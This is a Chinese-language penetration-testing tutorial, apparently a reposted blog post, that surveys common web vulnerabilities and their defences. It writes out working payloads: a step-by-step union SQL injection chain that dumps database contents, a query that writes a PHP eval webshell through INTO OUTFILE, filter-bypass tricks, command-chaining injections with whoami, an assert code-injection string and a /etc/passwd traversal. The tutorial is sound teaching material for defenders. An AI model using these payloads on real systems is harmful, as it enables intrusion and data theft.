渗透测试之常见的web漏洞分析

l铃原0x00
常见的web漏洞分类:

  • SQL注入漏洞

  • 文件上传漏洞

  • XSS 跨站脚本攻击

  • CSRF 跨站请求伪造攻击

  • 文件包含漏洞

  • 命令执行漏洞

  • 代码注入攻击

  • 逻辑漏洞

0x01

SQL注入漏洞

定义:通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

SQL注入基础-数据库基础:

  • 数据库结构
     库(database)
     表(table)
     列/字段(column)
     数据(data)

  • 数据库4大基本语句

     增:INSERT INTO 表名 VALUES (值1, 值2,…);
    INSERT INTO表名 (列1, 列2,…) VALUES (值1, 值2,…);
     删:DELETE FROM 表名 WHERE 条件(列名=值);
     改:UPDATE 表名 SET 列名 = 新值 WHERE 条件(列名=值);
     查:SELECT 列名 FROM 表名 WHERE 条件(列名=值);

sql注入原理
在这里插入图片描述

SQL注入的分类

按注入方法分类:

  • bool型注入
  • 基于时间的注入
  • 基于报错的注入
  • union注入
  • 多语句查询注入

按注入位置分类:

  • GET型注入
  • POST型注入
  • Cookie注入
  • UA注入
  • Referer注入
  • Host注入

按注入是否有回显分类:

  • 回显注入
  • 盲注

SQL注入-payload

  • bool型注入
    select * from news where id = 1 or 1=1;
    select * from news where id = 1 and 1=2;
  • 基于时间的注入
    select * from news where id = 1 and sleep(5);
  • 基于报错的注入
    select * from news where id = 1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
  • union注入
    select * from news where id = 1 union select 1,2,3;  多语句查询注入
    select * from news where id = 1;select 1;

SQL注入-union手注
 information_schema
 columns

  • table_schema(存放了所有的库名)
  • table_name(存放了所有的表名)
  • column_name(存放了所有的列名)
  1. 判断注入点
    ’ 报错
    ’ or ‘1’ = '1 正常返回数据
    ’ and ‘1’ = '2 无返回数据
  2. 判断当前表列数
    ’ or 1=1 order by n-- - (二分法)
  3. 查看显示位
    ’ union select 1,2,3-- -
    SQL注入-union手注(MySQL)
  4. 查看mysql基础信息
    ’ union select 1, CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),3-- -
  5. 爆库名
    ’ union select distinct 1, table_schema,3 from information_schema.columns-- -
  6. 爆表名
    ‘ union select distinct 1, table_name,3 from information_schema.columns where
    table_schema = ‘库1’-- -
  7. 爆列名
    ’ union select distinct 1, column_name,3 from information_schema.columns where
    table_schema = ‘库1’ and table_name = ‘表1’-- -
  8. 爆数据
    ’ union select 1,concat(列1, 0x23, 列2, 0x23, 列3),3 from 库1.表1-- -

SQL注入-盲注

  • 成因及payload

在这里插入图片描述

  • 相关盲注函数
    在这里插入图片描述

SQL注入-高级技巧
当mysql为root用户时,同时知道网站绝对路径,可以直接写文件

  • 写文件:
    select ‘<?php @eval($_POST[OTF])?>’ into outfile ‘绝对路径/OTF.php’

  • 读文件:
    select load_file(‘绝对路径/OTF.php’)

SQL注入-防御手段

  • 严格控制数据类型
  • 过滤敏感字符,如: ’ 、 " 、 or 、 1=1 等
  • 转义特殊字符,如: php的addslashes()函数
  • 部署web应用防火墙

SQL注入-防御绕过

  • 空格被过滤的情况:
     可尝试使用/**/可代替空格
  • and、or被过滤的情况:
     可尝试使用&、|可分别代替 and 和 or
  • select等关键字被过滤的情况:
     可尝试大小写混合绕过过滤,如:SeLEcT
  • 1=1被过滤的情况:
     可尝试换其他的恒等式,如:123=123
  • =被过滤的情况:
     可尝试使用like可代替=

0x02

文件上传漏洞 :

定义: Web应用程序通常会提供一个文件上传功能,如上传头像(jpg文件)、简历(doc、pdf文件)等,若web应用程序未对上传的文件进行限制,或对文件内容进行过滤,攻击者可以上传webshell,获取web应用程序的控制权限

文件上传漏洞-一句话木马原理

<?php @eval($_POST[‘hack’]); ?> eval():将字符串当做PHP代码执行

如:hack=phpinfo(); 等价于 <?php phpinfo(); ?>

文件上传漏洞-解析漏洞

木马文件就算被成功上传,如果没有被web容器以脚本文件解析执行,也不会对服务器造成威胁 所以,黑客往往在利用文件上传漏洞时,会与web容器的解析漏洞配合使用,以保证上传的恶意代码被成功执行。

  • 何为解析漏洞?
    每个文件都有固定的解析方式,所有的应用程序都按照文件后缀进行解析,如果一个名为hack.jpg的文件,被服务器当做web脚本语言来执行,那么这就是一个解析漏洞。

文件上传漏洞-IIS6.0 解析漏洞

  • 在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。
  • 在IIS6.0下,分号后面的不被解析,也就是说 1.asp;.jpg 会被服务器看成是1.asp,就会以asp文件来解析。

文件上传漏洞-Apache 解析漏洞

  • Apache解析漏洞存在于Apache1.x和2.x中
  • Apache在解析文件时有一个原则:当碰到不认识的扩展名时,会从后向前解析,直至碰到认识的扩展名为止,若都不认识,会将其以文本文件形式直接打印在web页面上。如:1.php.rar.xss.abc.ccc

文件上传漏洞-PHP CGI 解析漏洞

  • PHP CGI 解析漏洞并不是存在某一特定的web容器中,最初是由国内安全团队80SEC在Nginx中发现,在IIS7.0、IIS7.5中也可以成功利用
  • 1.php是并不存在的文件,1.jpg是确实存在的文件
    当访问http://www.xxx.com/1.jpg/1.php时,页面返回的是将1.jpg按php解析的结果
  • PHP配置文件中有个cgi的配置选项,在某些php版本中会默认开启,此时访问上面的URL,1.php是不存在的文件,php会向前递归解析,于是造成了解析漏洞。

文件上传漏洞-防御与绕过

  • 无验证
  • 前端验证
  • 后端验证
    mime验证
    文件头验证
    后缀黑名单验证
    后缀白名单验证
    基于内容的检测

0x03

XSS 跨站脚本攻击:

定义: 跨站脚本攻击(Cross Site Scripting),攻击者往Web页面里插入恶意的JavaScript代码,当用户浏览该页之时,嵌入其中Web里面的JS代码会被执行,从而达到恶意攻击用户的目的。是一种基于前端的攻击手段。

XSS 跨站脚本攻击基础-cookie机制

  • 出现的基础:HTTP协议是一种无状态的协议,一旦数据交换完毕,客户端与服务器端的连接就会关闭,再次交换数据需要建立新的连接。这就意味着服务器无法从连接上跟踪会话。
  • cookie机制就是用来解决这类问题,是会话跟踪的主要实现方式。
    客户端发送一个http请求到服务器端
    服务器端发送一个http响应到客户端,其中包含Set-Cookie头部
    客户端发送一个http请求到服务器端,其中包含Cookie头部
    服务器端发送一个http响应到客户端

在这里插入图片描述
XSS 跨站脚本攻击基础-前端语言
前端语言:html、css、js

  • html:超文本标记语言,“超文本”就是指页面内可以包含图片、链接,甚至音乐、程序等非文字元素。
    <html标签>内容</ html标签>
  • CSS:层叠样式表,是一种用来表现HTML或XML等文件样式的计算机语言,可以静态地修饰网页,也可以配合各种脚本语言动态地对网页各元素进行格式化。
  • JS:JavaScript 是一种直译式脚本语言,是一种脚本语言。它的解释器被称为JavaScript引擎,是浏览器的一部分,广泛用于客户端的脚本语言,最早是在HTML网页上使用,用来给HTML网页增加动态功能。
<script>JS代码</script>
<button type="button" onclick="JS代码">点击这里</button>

XSS 跨站脚本攻击-分类与应用

  • XSS 的分类:
    反射型XSS
    存储型XSS
    DOM型XSS
  • XSS 的应用:
    盗取cookie -> 会话劫持
    恶意修改前端显示内容
    XSS蠕虫

XSS 跨站脚本攻击-防御手段:

  • 严格控制输入与输出
    过滤 < 、 > 、 ‘ 、“ 、 & 等字符
    过滤script、alert、document、onclick等敏感词的输入与输出
    HTML实体化
  • 设置cookie httponly属性

0x04

CSRF 跨站请求伪造攻击:

定义: CSRF跨站点请求伪造,攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。

CSRF 跨站请求伪造攻击原理

  • 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
  • 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
  • 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
  • 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
  • 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
    在这里插入图片描述CSRF 跨站请求伪造攻击-防御
  • 验证HTTP Header 的 Referer字段
  • 在请求地址中添加 token 并验证
  • 在 HTTP 头中自定义属性并验证

0x05

文件包含漏洞:

定义: 程序开发人员通常会把可重复使用的函数写到单个文件中,需要使用这些函数的时候,就可以直接调用,无需再次编写,这种调用文件的方式叫做包含。程序开发人员都希望代码可以更灵活,所以有时会将包含的文件设置为变量,来动态调用;但正因为这种灵活性,导致客户端若调用一个恶意文件,就造成了文件包含漏洞。

文件包含漏洞-函数

PHP提供了4个文件包含的函数:
include():找不到包含的文件会报warning,脚本继续执行
include_once():与include()效果相同,若文件已被包含,不会再次包含
require():找不到包含的文件会报error,脚本终止执行
require_once ():与require()效果相同,若文件已被包含,不会再次包含

文件包含漏洞-分类

  • 本地文件包含(LFI, Local File Include)
    顾名思义,就是文件包含漏洞只能包含本地的文件
  • 远程文件包含(RFI, Remote File Include)
    文件包含漏洞可以包含一个远程服务器的文件
    需要设置php.ini中allow_url_include的值设置为On
  • 使用php://filter协议
    php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。

0x06

命令执行漏洞:

定义: 命令执行漏洞一般指远程命令执行(Remote Code Execution)。
执行的命令往往是系统命令(cmd命令或shell命令),所以发现远程代码执行漏洞往往意味着可以直接获取系统权限。
命令执行漏洞一般存在于web中间件中,或是web提供执行系统命令的功能却没有做好安全限制的情况

命令执行漏洞-中间件漏洞

  • Apache Struts2 远程代码执行漏洞
  • Oracle Weblogic 远程代码执行漏洞
  • Apache Tomcat 远程代码执行漏洞
  • Jboss 远程代码执行漏洞
  • WebSphere 远程代码执行漏洞
  • IIS 远程代码执行漏洞
  • Nginx 远程代码执行漏洞
    在这里插入图片描述在这里插入图片描述
    命令执行漏洞-web功能漏洞
  • Web提供一个执行系统命令的功能,比如ping、查看某目录文件,后台直接调用系统命令,并未做任何限制,就形成了命令执行漏洞
  • 使用 &(Windows系统)或&&(Linux系统)连接两个命令可以先后执行这两个命令
    W:ping -n 4 127.0.0.1 & whoami
    L:ping -c 4 127.0.0.1 && whoami
  • 使用||连接两个命令:若第一个命令没有顺利执行会执行第二个命令,若第一个命令执行成功则不会执行第二个命令
    ping abc || whoami

0x07

代码注入攻击:

定义: assert函数(断言),与eval函数相似,会将字符串当做代码执行,是非常好用的程序debug函数,但在编码安全中是非常危险的函数。
若assert中的部分字符串是可以由攻击者控制的,那么就可能造成注入攻击。

代码注入实列:

if assert(“strpos('include/ @ ', ‘…’) == true”):

  • @(可等于)= 1’, ‘2’) or PHP代码 or strpos(‘1 或者
    12’, ‘1’) and PHP代码and strpos('1

  • @(可等于)=12’, ‘1’) and phpinfo() and strpos('1

  • @(可等于)= 1’, ‘2’) or phpinfo() or strpos('1

  • @(可等于)=…/…/…/…/etc/passwd

die(“黑客攻击”);
在这里插入图片描述

0x08

逻辑漏洞:

  • “0元购机”漏洞
  • 密码重置(找回)漏洞
  • 外挂(作弊)原理
原创文章 45 获赞 7 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_41814777/article/details/102169840